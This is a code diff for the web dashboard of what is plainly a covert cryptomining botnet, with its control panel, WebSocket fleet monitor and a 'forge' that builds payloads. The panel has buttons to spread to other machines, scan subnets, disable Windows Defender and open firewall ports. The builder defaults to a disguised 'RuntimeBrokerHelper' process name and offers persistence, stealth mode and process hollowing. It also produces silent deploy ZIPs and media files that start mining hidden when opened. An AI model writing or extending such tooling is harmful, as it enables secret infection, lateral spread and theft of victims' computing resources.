<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group aggressive-group">
|
||||
<h3>NAT & Aggressive Ops</h3>
|
||||
<p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
|
||||
<div className="button-grid">
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch_status')}
|
||||
title={aggTitle('hole_punch_status')}
|
||||
onClick={() => dispatch('hole_punch_status')}
|
||||
>
|
||||
WAN IP
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch')}
|
||||
title={aggTitle('hole_punch')}
|
||||
onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
|
||||
>
|
||||
Hole Punch
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch_close')}
|
||||
title={aggTitle('hole_punch_close')}
|
||||
onClick={() => dispatch('hole_punch_close', { command: '8989' })}
|
||||
>
|
||||
Close Punch
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('firewall_punch')}
|
||||
title={aggTitle('firewall_punch')}
|
||||
onClick={() => dispatch('firewall_punch', { command: '8989' })}
|
||||
>
|
||||
Open FW Port
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('start_tunnel')}
|
||||
title={aggTitle('start_tunnel')}
|
||||
onClick={() => dispatch('start_tunnel')}
|
||||
>
|
||||
Cloudflare Tunnel
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('subnet_scan')}
|
||||
title={aggTitle('subnet_scan')}
|
||||
onClick={() => dispatch('subnet_scan', { command: '64' })}
|
||||
>
|
||||
Subnet Scan
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('spread_now')}
|
||||
title={aggTitle('spread_now')}
|
||||
onClick={() => dispatch('spread_now')}
|
||||
>
|
||||
Spread Now
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('mesh_status')}
|
||||
title={aggTitle('mesh_status')}
|
||||
onClick={() => dispatch('mesh_status')}
|
||||
>
|
||||
Mesh Peers
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-red"
|
||||
disabled={aggDisabled('defender_off')}
|
||||
title={aggTitle('defender_off')}
|
||||
onClick={() => dispatch('defender_off')}
|
||||
>
|
||||
Disable Defender
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{screenshotData && (
|
||||
|
||||
@@ -121,12 +121,6 @@
|
||||
grid-column: span 2;
|
||||
}
|
||||
|
||||
.agent-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
margin-top: 1rem;
|
||||
}
|
||||
|
||||
.agent-action-btn {
|
||||
padding: 0.4rem 0.75rem;
|
||||
|
||||
@@ -92,10 +92,16 @@ export function EarningsEstimator({ hashrate }: { hashrate: number }) {
|
||||
setXmrPerDay(null);
|
||||
return;
|
||||
}
|
||||
// AbortController ensures a stale in-flight response never overwrites a
|
||||
// newer estimate when hashrate changes rapidly (fixes M16).
|
||||
const controller = new AbortController();
|
||||
api.getEarningsEstimate(hashrate).then((r) => {
|
||||
if (!controller.signal.aborted) {
|
||||
setXmrPerDay(r.xmr_per_day);
|
||||
setNote(r.note);
|
||||
}).catch(console.error);
|
||||
}
|
||||
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
|
||||
return () => controller.abort();
|
||||
}, [hashrate]);
|
||||
|
||||
if (xmrPerDay == null || hashrate <= 0) return null;
|
||||
|
||||
@@ -5,6 +5,11 @@ import './MatrixStreamOverlay.css';
|
||||
export default function MatrixStreamOverlay({ active, onClose }: { active: boolean; onClose: () => void }) {
|
||||
const { recentShares } = useWebSocket();
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||
// Keep a ref to the latest shares so the draw loop always sees fresh data
|
||||
// WITHOUT being listed as a useEffect dependency — this stops the animation
|
||||
// from restarting every time a new share arrives (fixes L7).
|
||||
const sharesRef = useRef(recentShares);
|
||||
sharesRef.current = recentShares;
|
||||
|
||||
useEffect(() => {
|
||||
if (!active || !canvasRef.current) return;
|
||||
@@ -25,33 +30,29 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
let drops: number[] = Array(Math.floor(columns)).fill(1);
|
||||
|
||||
const draw = () => {
|
||||
// Black BG for the canvas
|
||||
// translucent BG to show trail
|
||||
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
|
||||
ctx.fillRect(0, 0, canvas.width, canvas.height);
|
||||
|
||||
ctx.fillStyle = '#0F0'; // Green text
|
||||
ctx.fillStyle = '#0F0';
|
||||
ctx.font = `${fontSize}px monospace`;
|
||||
|
||||
const shares = sharesRef.current;
|
||||
for (let i = 0; i < drops.length; i++) {
|
||||
let text = letters.charAt(Math.floor(Math.random() * letters.length));
|
||||
|
||||
// Occasionally drop a raw share payload in the stream
|
||||
if (Math.random() > 0.99 && recentShares.length > 0) {
|
||||
const share = recentShares[Math.floor(Math.random() * recentShares.length)];
|
||||
if (Math.random() > 0.99 && shares.length > 0) {
|
||||
const share = shares[Math.floor(Math.random() * shares.length)];
|
||||
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
|
||||
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
ctx.fillStyle = '#0F0'; // Reset color
|
||||
ctx.fillStyle = '#0F0';
|
||||
} else {
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
}
|
||||
|
||||
// sending the drop back to the top randomly after it has crossed the screen
|
||||
if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
|
||||
drops[i] = 0;
|
||||
}
|
||||
|
||||
drops[i]++;
|
||||
}
|
||||
};
|
||||
@@ -61,7 +62,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
clearInterval(interval);
|
||||
window.removeEventListener('resize', resize);
|
||||
};
|
||||
}, [active, recentShares]);
|
||||
}, [active]); // recentShares intentionally excluded — read via sharesRef
|
||||
|
||||
if (!active) return null;
|
||||
|
||||
|
||||
40
server/web/src/context/WebSocketContext.tsx
Normal file
40
server/web/src/context/WebSocketContext.tsx
Normal file
@@ -0,0 +1,40 @@
|
||||
import React, { createContext, useContext } from 'react';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import type { WSCommandResult } from '../types/ws';
|
||||
|
||||
/**
|
||||
* WSCommandResult with a monotonic sequence number attached by the provider.
|
||||
* Consumers should track `_seq` instead of array index to avoid the ring-buffer
|
||||
* drop bug that occurs when `.slice(-N)` trims the array but the stored index
|
||||
* remains >= N.
|
||||
*/
|
||||
export type SeqCommandResult = WSCommandResult & { _seq: number };
|
||||
|
||||
export interface WebSocketContextValue {
|
||||
isConnected: boolean;
|
||||
agents: Agent[];
|
||||
recentShares: Share[];
|
||||
fleetAlerts: FleetAlert[];
|
||||
poolStatus: PoolStatus[];
|
||||
aiActivity: AIActivityEntry[];
|
||||
agentLogs: Record<string, string>;
|
||||
commandResults: SeqCommandResult[];
|
||||
/** @deprecated Use commandResults instead. */
|
||||
latestMessage: WSMessage | null;
|
||||
}
|
||||
|
||||
export const WebSocketContext = createContext<WebSocketContextValue>({
|
||||
isConnected: false,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
});
|
||||
|
||||
export function useWebSocketContext(): WebSocketContextValue {
|
||||
return useContext(WebSocketContext);
|
||||
}
|
||||
192
server/web/src/context/WebSocketProvider.tsx
Normal file
192
server/web/src/context/WebSocketProvider.tsx
Normal file
@@ -0,0 +1,192 @@
|
||||
import React, { useEffect, useRef, useCallback, useState } from 'react';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
} from '../types/ws';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import { WebSocketContext } from './WebSocketContext';
|
||||
import type { SeqCommandResult } from './WebSocketContext';
|
||||
|
||||
/**
|
||||
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
||||
* All components call useWebSocket() and receive data from this one connection
|
||||
* — fixes M12 (duplicate connections when multiple components called the hook).
|
||||
*/
|
||||
export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
const wsRef = useRef<WebSocket | null>(null);
|
||||
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const unmounted = useRef(false);
|
||||
const [isConnected, setIsConnected] = useState(false);
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
||||
const [fleetAlerts, setFleetAlerts] = useState<FleetAlert[]>([]);
|
||||
const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]);
|
||||
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
|
||||
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
|
||||
const [commandResults, setCommandResults] = useState<SeqCommandResult[]>([]);
|
||||
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
|
||||
// Monotonic counter so consumers can detect new entries even after the ring buffer trims old ones
|
||||
const cmdSeqRef = useRef(0);
|
||||
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = null;
|
||||
}
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
|
||||
|
||||
ws.onclose = () => {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => { ws.close(); };
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg = JSON.parse(event.data) as WSMessage;
|
||||
setLatestMessage(msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
const data = msg.payload as WSDashboardInit;
|
||||
if (data.agents) setAgents(data.agents);
|
||||
break;
|
||||
}
|
||||
case 'agent_online': {
|
||||
const agent = msg.payload as Agent;
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||
if (idx >= 0) {
|
||||
const updated = [...prev];
|
||||
updated[idx] = { ...updated[idx], ...agent };
|
||||
return updated;
|
||||
}
|
||||
return [...prev, agent];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'agent_offline': {
|
||||
const { agent_id } = msg.payload as WSAgentOffline;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) => a.id === agent_id ? { ...a, status: 'offline' as const } : a)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
}
|
||||
: a
|
||||
)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
const share = msg.payload as Share;
|
||||
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
||||
break;
|
||||
}
|
||||
case 'fleet_alert': {
|
||||
const alert = msg.payload as FleetAlert;
|
||||
setFleetAlerts((prev) => [alert, ...prev].slice(0, 20));
|
||||
break;
|
||||
}
|
||||
case 'pool_status': {
|
||||
const pools = msg.payload as PoolStatus[];
|
||||
if (Array.isArray(pools)) setPoolStatus(pools);
|
||||
break;
|
||||
}
|
||||
case 'ai_activity': {
|
||||
const entry = msg.payload as AIActivityEntry;
|
||||
setAiActivity((prev) => {
|
||||
const idx = prev.findIndex((a) => a.agent_id === entry.agent_id);
|
||||
if (idx >= 0) {
|
||||
const next = [...prev];
|
||||
next[idx] = entry;
|
||||
return next;
|
||||
}
|
||||
return [...prev, entry];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const p = msg.payload as WSCommandResult;
|
||||
const seq = ++cmdSeqRef.current;
|
||||
// Cap at 2000; command results are rare (operator-triggered) so this is plenty.
|
||||
// Consumers MUST use _seq for change detection — NOT array index — because the
|
||||
// slice trims old entries and makes absolute indices stale.
|
||||
setCommandResults((prev) => [...prev, { ...p, _seq: seq }].slice(-2000));
|
||||
if (p.agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [p.agent_id!]: p.message! }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||
if (agent_id) setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.error('Failed to parse WebSocket message:', err);
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
unmounted.current = false;
|
||||
connect();
|
||||
return () => {
|
||||
unmounted.current = true;
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
const ws = wsRef.current;
|
||||
if (ws) { ws.onclose = null; ws.close(); }
|
||||
};
|
||||
}, [connect]);
|
||||
|
||||
return (
|
||||
<WebSocketContext.Provider value={{
|
||||
isConnected, agents, recentShares, fleetAlerts, poolStatus,
|
||||
aiActivity, agentLogs, commandResults, latestMessage,
|
||||
}}>
|
||||
{children}
|
||||
</WebSocketContext.Provider>
|
||||
);
|
||||
}
|
||||
65
server/web/src/help/aggressiveActions.ts
Normal file
65
server/web/src/help/aggressiveActions.ts
Normal file
@@ -0,0 +1,65 @@
|
||||
import type { AgentCapabilities } from '../types';
|
||||
|
||||
/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
|
||||
export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'hole_punch',
|
||||
'hole_punch_close',
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'mesh_status',
|
||||
] as const;
|
||||
|
||||
export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
|
||||
|
||||
export function canRunAggressiveAction(
|
||||
action: AggressiveRemoteAction,
|
||||
caps?: AgentCapabilities | null,
|
||||
platform?: string
|
||||
): boolean {
|
||||
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||
if (!caps) return true;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
case 'hole_punch_close':
|
||||
case 'hole_punch_status':
|
||||
return caps.hole_punch;
|
||||
case 'spread_now':
|
||||
return caps.auto_spread || caps.remote_aggressive;
|
||||
case 'start_tunnel':
|
||||
case 'subnet_scan':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
return caps.remote_aggressive;
|
||||
case 'mesh_status':
|
||||
return caps.mesh_p2p;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function aggressiveActionHint(
|
||||
action: AggressiveRemoteAction,
|
||||
caps?: AgentCapabilities | null,
|
||||
platform?: string
|
||||
): string | undefined {
|
||||
if (platform === 'darwin' && action === 'defender_off') {
|
||||
return 'Defender disable not supported on macOS';
|
||||
}
|
||||
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
case 'hole_punch_close':
|
||||
case 'hole_punch_status':
|
||||
return 'Re-forge with Advanced → NAT Hole Punch';
|
||||
case 'spread_now':
|
||||
return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
|
||||
case 'mesh_status':
|
||||
return 'Re-forge with Mesh P2P';
|
||||
default:
|
||||
return 'Re-forge with Remote Aggressive Ops (Advanced)';
|
||||
}
|
||||
}
|
||||
@@ -210,5 +210,45 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
});
|
||||
}
|
||||
|
||||
if (form.spread_kit && form.target_os !== 'universal') {
|
||||
checks.push({
|
||||
id: 'spread_kit_os',
|
||||
level: 'error',
|
||||
message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.spread_kit && form.fusion_enabled) {
|
||||
checks.push({
|
||||
id: 'spread_fusion',
|
||||
level: 'error',
|
||||
message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
checks.push({
|
||||
id: 'universal_deliverable',
|
||||
level: 'warn',
|
||||
message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.',
|
||||
});
|
||||
}
|
||||
|
||||
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) {
|
||||
checks.push({
|
||||
id: 'hollow_unix',
|
||||
level: 'error',
|
||||
message: 'Process hollowing is not available on Linux or macOS.',
|
||||
});
|
||||
}
|
||||
|
||||
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) {
|
||||
checks.push({
|
||||
id: 'sign_unix',
|
||||
level: 'error',
|
||||
message: 'Authenticode signing only applies to Windows builds.',
|
||||
});
|
||||
}
|
||||
|
||||
return checks;
|
||||
}
|
||||
|
||||
@@ -13,7 +13,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
run_as: 'scheduled',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
@@ -45,6 +45,11 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
target_os: 'windows',
|
||||
target_arch: 'all',
|
||||
spread_kit: false,
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
};
|
||||
|
||||
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
applyDeliverableType,
|
||||
deriveDeliverableType,
|
||||
normalizeForgeForm,
|
||||
spreadKitPreset,
|
||||
} from './forgeFormNormalize';
|
||||
import type { BuildRequest } from '../types';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-1',
|
||||
server_url: 'http://192.168.1.5:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
describe('forgeFormNormalize', () => {
|
||||
it('derives deliverable type from flags', () => {
|
||||
expect(deriveDeliverableType(baseForm({ fusion_enabled: true }))).toBe('fusion');
|
||||
expect(deriveDeliverableType(baseForm({ spread_kit: true }))).toBe('spread_kit');
|
||||
expect(deriveDeliverableType(baseForm())).toBe('single');
|
||||
});
|
||||
|
||||
it('spread kit forces universal and clears fusion', () => {
|
||||
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('linux target clears sign_build and fixes install base', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ target_os: 'linux', target_arch: 'amd64', sign_build: true, install_base: 'localappdata' })
|
||||
);
|
||||
expect(out.sign_build).toBe(false);
|
||||
expect(out.install_base).toBe('xdg_data_home');
|
||||
expect(out.target_arch).toBe('amd64');
|
||||
});
|
||||
|
||||
it('single deliverable cannot stay universal', () => {
|
||||
const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.spread_kit).toBe(false);
|
||||
});
|
||||
|
||||
it('spread kit preset enables persistence and stealth', () => {
|
||||
const out = applyDeliverableType(baseForm(), 'spread_kit');
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.persistence).toBe(true);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(spreadKitPreset().remote_aggressive).toBe(true);
|
||||
});
|
||||
|
||||
it('preserves idle field values when mining mode is always (server ignores them when mode does not match)', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ mining_mode: 'always', idle_threshold_pct: 99, idle_duration_minutes: 30 })
|
||||
);
|
||||
// Values are preserved — the backend ignores them when mining_mode !== 'idle'
|
||||
expect(out.idle_threshold_pct).toBe(99);
|
||||
expect(out.idle_duration_minutes).toBe(30);
|
||||
});
|
||||
});
|
||||
239
server/web/src/help/forgeFormNormalize.ts
Normal file
239
server/web/src/help/forgeFormNormalize.ts
Normal file
@@ -0,0 +1,239 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
/** UI deliverable — derived from forge flags, not sent to the API. */
|
||||
export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion';
|
||||
|
||||
export interface InstallBaseOption {
|
||||
value: string;
|
||||
label: string;
|
||||
hint?: string;
|
||||
}
|
||||
|
||||
const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{ value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' },
|
||||
{ value: 'appdata', label: 'Roaming App Data (%APPDATA%)' },
|
||||
{ value: 'programdata', label: 'Program Data (%ProgramData%)' },
|
||||
{ value: 'userprofile', label: 'User Profile (%USERPROFILE%)' },
|
||||
{ value: 'temp', label: 'Temp Folder (%TEMP%)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
const UNIX_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{ value: 'xdg_data_home', label: 'XDG data (~/.local/share)' },
|
||||
{ value: 'home', label: 'Home folder (~)' },
|
||||
{ value: 'temp', label: 'Temp (/tmp or $TMPDIR)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{
|
||||
value: 'localappdata',
|
||||
label: 'Stealth cache location (auto per OS)',
|
||||
hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support',
|
||||
},
|
||||
{ value: 'home', label: 'User home (all platforms)' },
|
||||
{ value: 'temp', label: 'Temp folder (all platforms)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||
if (form.fusion_enabled) return 'fusion';
|
||||
if (form.spread_kit) return 'spread_kit';
|
||||
return 'single';
|
||||
}
|
||||
|
||||
export function deliverableSummary(type: ForgeDeliverable): string {
|
||||
switch (type) {
|
||||
case 'fusion':
|
||||
return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.';
|
||||
case 'spread_kit':
|
||||
return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.';
|
||||
default:
|
||||
return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).';
|
||||
}
|
||||
}
|
||||
|
||||
/** Recommended toggles when Spread Kit is selected. */
|
||||
export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
return {
|
||||
spread_kit: true,
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
mining_mode: 'idle',
|
||||
process_hollowing: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: true,
|
||||
auto_spread: false,
|
||||
};
|
||||
}
|
||||
|
||||
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
||||
const t = targetOs || 'windows';
|
||||
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
||||
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
||||
return WINDOWS_INSTALL_BASES;
|
||||
}
|
||||
|
||||
function isWindowsOnlyTarget(targetOs?: string): boolean {
|
||||
return !targetOs || targetOs === 'windows';
|
||||
}
|
||||
|
||||
function isSingleUnixTarget(targetOs?: string): boolean {
|
||||
return targetOs === 'linux' || targetOs === 'darwin';
|
||||
}
|
||||
|
||||
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
||||
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
const next: BuildRequest = { ...form };
|
||||
|
||||
// Deliverable coupling — spread kit wins if both flags were somehow set
|
||||
if (next.spread_kit) {
|
||||
next.fusion_enabled = false;
|
||||
next.target_os = 'universal';
|
||||
next.target_arch = 'all';
|
||||
} else if (next.fusion_enabled) {
|
||||
next.spread_kit = false;
|
||||
if (next.target_os === 'windows' || !next.target_os) {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
}
|
||||
|
||||
if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') {
|
||||
next.target_os = 'windows';
|
||||
next.spread_kit = false;
|
||||
}
|
||||
|
||||
// Architecture
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (!next.target_arch || next.target_arch === 'all') {
|
||||
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
||||
}
|
||||
} else {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
|
||||
// Windows-only forge pipeline
|
||||
if (!isWindowsOnlyTarget(next.target_os)) {
|
||||
next.sign_build = false;
|
||||
if (next.target_os !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
|
||||
// Process hollowing — Windows workers only
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
}
|
||||
|
||||
// Install base matches target OS family
|
||||
const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']);
|
||||
const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']);
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (isWindowsOnlyTarget(next.target_os)) {
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
}
|
||||
|
||||
if (next.install_base !== 'custom') {
|
||||
next.install_custom_base = '';
|
||||
}
|
||||
|
||||
// Stealth / display
|
||||
if (next.stealth_mode) {
|
||||
next.file_logging = false;
|
||||
if (next.display_mode === 'visible') {
|
||||
next.display_mode = 'background';
|
||||
}
|
||||
next.silent_mode = true;
|
||||
}
|
||||
|
||||
// Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match)
|
||||
if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20;
|
||||
if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5;
|
||||
if (!next.schedule_start) next.schedule_start = '21:00';
|
||||
if (!next.schedule_end) next.schedule_end = '06:00';
|
||||
|
||||
// Thread mode
|
||||
